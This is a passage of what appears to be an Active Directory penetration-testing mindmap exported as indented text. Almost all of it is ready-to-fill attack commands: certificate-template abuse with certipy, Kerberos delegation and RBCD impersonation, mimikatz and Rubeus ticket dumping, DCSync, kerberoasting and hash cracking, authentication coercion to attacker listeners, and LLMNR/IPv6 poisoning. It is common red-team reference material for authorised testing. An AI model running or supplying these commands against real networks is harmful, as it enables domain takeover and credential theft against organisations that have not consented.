                certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <vulnerable template>
              ESC10 (Case 1)
                certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <any template with client auth>
          ESC10 (Case 2)
            certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'
        Reset accountB UPN
          certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn <accountB>@<domain>
            [Kerberos Mapping] ESC9/ESC10(Case 1)
            [Schannel Mapping] ESC9/ESC10 (Case 2)
            Pass the certificate
  Kerberos Delegation
    Kerberos Delegation move
    list delegations
      ldeep ldap -u <user> -p '<password>' -d <domain> -s ldap://<dc_ip> delegations
      findDelegation.py <domain>/<user>:<password>@<ip>
    Unconstrained delegation
      Get unconstrained delegation machines
        Get-NetComputer -Unconstrained
        Get-DomainComputer -Unconstrained -Properties DnsHostName
        MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
        MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p
      UAC: ADS_UF_TRUSTED_FOR_DEL
EGATION
        Get tickets
          privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
          Rubeus dump /service:krbtgt /nowrap
          Rubeus dump /luid:0xdeadbeef /nowrap
        (Force_connection_with_coerced_auth)
          Rubeus monitor /interval:5
        Kerberos TGT
        Kerberos TGT
          Pass The Ticket
            if dc
              DCSync
                DomAdmin
    Constrained delegation
      Get constrained delegation
        Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
        Get-DomainUser -TrustedToAuth
        MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
        MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p
      With protocol transition (any)
Object: msDS-AllowedToDelegateTo
UAC: TRUST_TO_AUTH_FOR_DELEGA
TION
        Rubeus hash /password:<password>
        Rubeus asktgt /user:<user> /domain:<domain> /aes256:<AES 256 hash>
          Rubeus s4u /ticket:<ticket> /impersonateuser:<admin_user> /msdsspn:<spn_constrained> /altservice:CIFS /ptt
            Altservice
              HOST
                psexec \\\<target> <cmd>
              HTTP
                Enter-Pssession -computername <target>
                Invoke-Command <target> -Scriptblock {<cmd>}
              CIFS
                dir \\<target>\c$
              LDAP
        Kerberos TGS
      Without protocol transition (kerberos only)
Object: msDS-AllowedToDelegateTo
UAC: TRUSTED_FOR_DELEGATION
        RBCD
          addcomputer.py -computer-name '<rbcd_com>$' -computer-pass '<rbcd_compass>' -dc-ip <dc> '<domain>/<user>:<password>'
            rbcd.py -delegate-from '<rbcd_com>$' -delegate-to '<constrained>$' -dc-ip
'<dc>' -action 'write' -hashes '<hash>'
<domain>/<constrained>$
              getST.py -self -impersonate "administrator" -dc-ip <ip> <domain>/<rbcd_com>$':'<rbcd_compass>'
                getST.py -spn host/<constrained> -hashes '' '<domain>/<computer_account>' -impersonate Administrator --dc-ip <dc_ip> -additional-ticket <previous_ticket>
                  getST.py -spn <constrained_spn>/<target> -hashes '<hash>' '<domain>/<constrained>$' -impersonate Administrator --dc-ip <dc_ip> -additional-ticket <previous_ticket>
                  Kerberos TGS
        self RBCD
    Resource-Based Constrained Delegation
(RBCD)
      Object: msDS-AllowedToActOnBehalfOfOtherIdentit
        rubeus.exe hash /password:<computer_pass> /user:<computer> /domain:<domain>
          rubeus.exe s4u /user:<fake_computer$> /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/<victim.domain.local> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
        rbcd.py -delegate-from '<computer>$' -delegate-to '<target>$' -dc-ip
'<dc>' -action 'write'
<domain>/<user>:<password>
          getST.py -spn host/<dc_fqdn> '<domain>/<computer_account>:<computer_pass>' -impersonate Administrator --dc-ip <dc_ip>
          Kerberos TGT
        add computer account
          addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'
        Admin
  Crack Hash
    cracking hash
    LM
      john --format=lm hash.txt
      hashcat -m 3000 -a 3 hash.txt
    NTLM
      john --format=nt hash.txt
      hashcat -m 1000 -a 3 hash.txt
    NetNTLMv1
      john --format=netntlm hash.txt
      hashcat -m 5500 -a 3 hash.txt
      https://crack.sh/
    NetNTLMv2
      john --format=netntlmv2 hash.txt
      hashcat -m 5600 -a 0 hash.txt rockyou.txt
    Kerberos 5 TGS
      hashcat -m 13100 -a 0 spn.txt rockyou.txt
      john spn.txt --format=krb5tgs --wordlist=rockyou.txt
    Kerberos 5 TGS AES128
      hashcat -m 19600 -a 0 spn.txt rockyou.txt
    Kerberos 5 TGS AES256
      hashcat -m 19700 -a 0 spn.txt rockyou.txt
    Kerberos ASREP
      hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt
    MsCache 2 (slow)
      hashcat -m 2100 -a 0 mscache-hash rockyou.txt
    User account
clear text pass
  Got Account on the domain
authenticated
(cleartext pass / kerberos / NTLM)
    valid credentials
    Get all users
      GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>
      cme smb <ip> -u <user> -p '<password>' --users
      ldeep ldap -u <user> -p '<password>' -d <domain> -s ldap://<dc_ip> users
      Users
    enumerate SMB share
      cme smb <ip> -u <user> -p <password> --shares
      Account
    exploit smbshare
      cme smb <ip> -u <user> -p <password> -M slinky -o NAME=<filename> SERVER=<ip>
      drop .url file
      Coerce SMB ->
    🔥bloodhound
      bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
      ./rusthound -d <domain_to_enum> -u '<user>@<domain>' -p '<password>' -o <outfile> -z
      import-module sharphound.ps1;invoke-bloodhound -collectionmethod all -domain <domain>
      sharphound.exe -c all -d <domain>
    enum ldap
      ldeep ldap -u <user> -p '<password>' -d <domain> -s ldap://<dc_ip> all <backup_folder>
    Powerview / SharpView
    adPeas
    pingcastle
    🔥kerberoasting
      Get kerberoastable users
        Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName
        MATCH (u:User {hasspn:true}) RETURN u
        MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
      Get hash
        GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>
        Rubeus kerberoast
        hash found (TGS)
    Enum dns
      dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
      Scan network
    Enumerate AD CS
      🔥 certipy find -u <user>@<domain> -p <password> -dc-ip <domaincontroller>
    Enumerate Azure AD connect
      find AAD connect server from MSOL description
        cme ldap <ip> -u <user> -p <password> -M get-desc-users | grep -i MSOL
    Coerce
      Webdav
        cme smb <ip> -u <user> -p <password> -M webdav #find
        start webdav with Documents.searchConnector-ms file
          cme smb <ip> -u '<user>' -p '<pass>' -M drop-sc
        add attack computer in dns
          dnstool.py -u '<domain>\<user>' -p '<pass>' --record
'<attack_name>' --action add --data <ip_listen> <dc_ip>
        coerce with <attacker_hostname>@80/something as target
        Coerce HTTP ->
      rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
        printerbug.py '<domain>/<username>:<password>'@<Printer IP> <listener_ip>
      PetitPotam.py -d <domain> -u <user>-p <password> <listener_ip> <target_ip>
      🔥coercer.py -u <user> -d <domain> -p <password> -t <target> -l <attacker_ip>
      Coerce SMB ->
    exploit !
    connect to computer
    ADCS
    Domain enum
      ACL
      Delegation
      Users
    Lateral move
    Known vulnerabilities
  Scan Network
    cme smb <ip_range> # enumerate smb hosts
    nmap -sP -p <ip> # ping scan
    nmap -PN -sV --top-ports 50 --open <ip> # quick scan
    nmap -PN --script smb-vuln* -p139,445 <ip> # search smb vuln
    nmap -PN -sC -sV -oA <output> <ip> # classic scan
    nmap -PN -sC -sV -p- -oA <output> <ip> # full scan
    nmap -sU -sC -sV -oA <output> <ip> # udp scan
    find vulnerable host
  Find DC IP
    nmcli dev show eth0 # show domain name & dns
    nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
  zone transfer
    dig axfr <domain_name> @<name_server>
  List guest access on smb share
    enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
    smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
    smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
    cme smb <ip> -u '' -p '' # enumerate null session
    cme smb <ip> -u 'a' -p '' # enumerate anonymous access
  Enumerate ldap
    nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
    ldapsearch -x -h <ip> -s base
    user found
  Find user list
    enum4linux -U <dc-ip> | grep 'user:'
    cme smb <ip> --users
    net rpc group members 'Domain Users' -W '<domain>' -I '<ip>' -U '%'
    OSINT - enumerate username on internet
      nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
    user found
  poisoning
    🔥 LLMNR / NBTNS/ MDNS
      responder -I eth0 (use --lm to force lm downgrade) # disable smb & http if relay
    IPV6 prefered to IPV4
      mitm6 -d <domain>
    ARP poisoning
      bettercap
    Poisoning SMB ->
HTTP ->
  coerce
    Unauthent PetitPotam (CVE-2022-26925)
      PetitPotam.py -d <domain> <listener_ip> <target_ip>
      coerce SMB ->